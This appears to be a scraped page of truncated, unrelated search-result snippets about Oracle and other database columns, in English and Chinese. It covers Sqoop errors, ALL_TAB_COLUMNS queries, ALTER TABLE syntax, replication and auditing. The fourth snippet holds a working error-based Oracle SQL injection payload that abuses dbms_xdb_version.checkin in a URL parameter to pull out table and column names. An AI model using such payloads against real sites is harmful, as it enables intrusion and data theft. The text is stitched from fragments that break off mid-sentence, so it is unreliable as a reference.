getColumnTypes(ClassWriter.java:1933) at org.apache.sqoop.orm.ClassWriter.generate(ClassWriter.java:1727) at org.apache.sqoop.tool.CodeGenTool.generateORM(CodeGenTool.java:112) at org.apache.sqoop.tool.ImportTool.importTable(ImportTool.java:482) at org.apache.sqoop.tool.ImportTool.run(ImportTool....
How do I check if EmpID EE# exists in SupervisorID column and categorize it based on Manager or Individual Contributor in OBIEE. Here's the table for reference. Currently, consider there are only 2 columns EmpID EE# and SupervisorID. I need a formula t...
SELECTCOLUMN_NAME,DATA_TYPE,DATA_LENGTH,DATA_PRECISION,DATA_SCALE,NULLABLEFROMALL_TAB_COLUMNSWHEREOWNER='SCHEMA_NAME'ANDTABLE_NAME='TABLE_NAME'ORDERBYCOLUMN_ID; 上述语句会列出指定模式下某张表的所有列信息,包括列名、数据类型、长度、数值类型的精度和小数位、以及NULLABLE(是否可空)等。ALL_TAB_COLUMNS视...
checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where ...
添加CHECK 约束 ALTERTABLEtable_nameADDCONSTRAINTconstraint_nameCHECK( column_nameIN('xxx','xxxx'));[or CHECK ( column_name >0)] 添加一个约束,表中现有的行一定要符合这个约束条件。 添加NOT NULL 约束 CREATETABLEtable_name MODIFY column_name[CONSTRAINT constraint_name]NOTNULL; ...
重命名列:alter table emp1 rename column salary to sal 删除表:(删除数据同时删除表) drop table emp3; 清空表:(清空数据) truncate table emp3; 重命名表:rename oldName to newName 了解:在某表中将某列设置成不可用,之后删除: alter table XXX ...
Ensure that empty strings are not inserted into the published table as column values. Use the -SkipErrors parameter for the Distribution Agent if it is acceptable to be notified of failures in the Distribution Agent history log and to continue processing. Specify the Oracle error code 1400 (-Sk...
For example, to check if standard auditing is enabled: SQL> SHOW PARAMETER AUDIT_TRAIL NAME TYPE VALUE --- --- --- audit_trail string DB This output shows that standard auditing is enabled and audit records are being written to the database audit trail. For fine-grained auditing, you...
Oracle 資料表 cdc.table_name 的中繼資料驗證失敗。 資料行 column_name 索引超出範圍。 而此問題:當您使用 Cdc for Oracle by Attunity 時,Oracle CDC 服務會顯示中止狀態 已於SQL Server 2014 RTM 的累計更新 1 中修正,如 KB 2894025 中所述。 有些變更會遺失,且不會複寫至 ...
What about the JDBC version which are not listed in the above table? If it is not listed in the above table then please check with your support channel to check if you are still on the support contract for the older versions. Where can I get the JDBC jar files?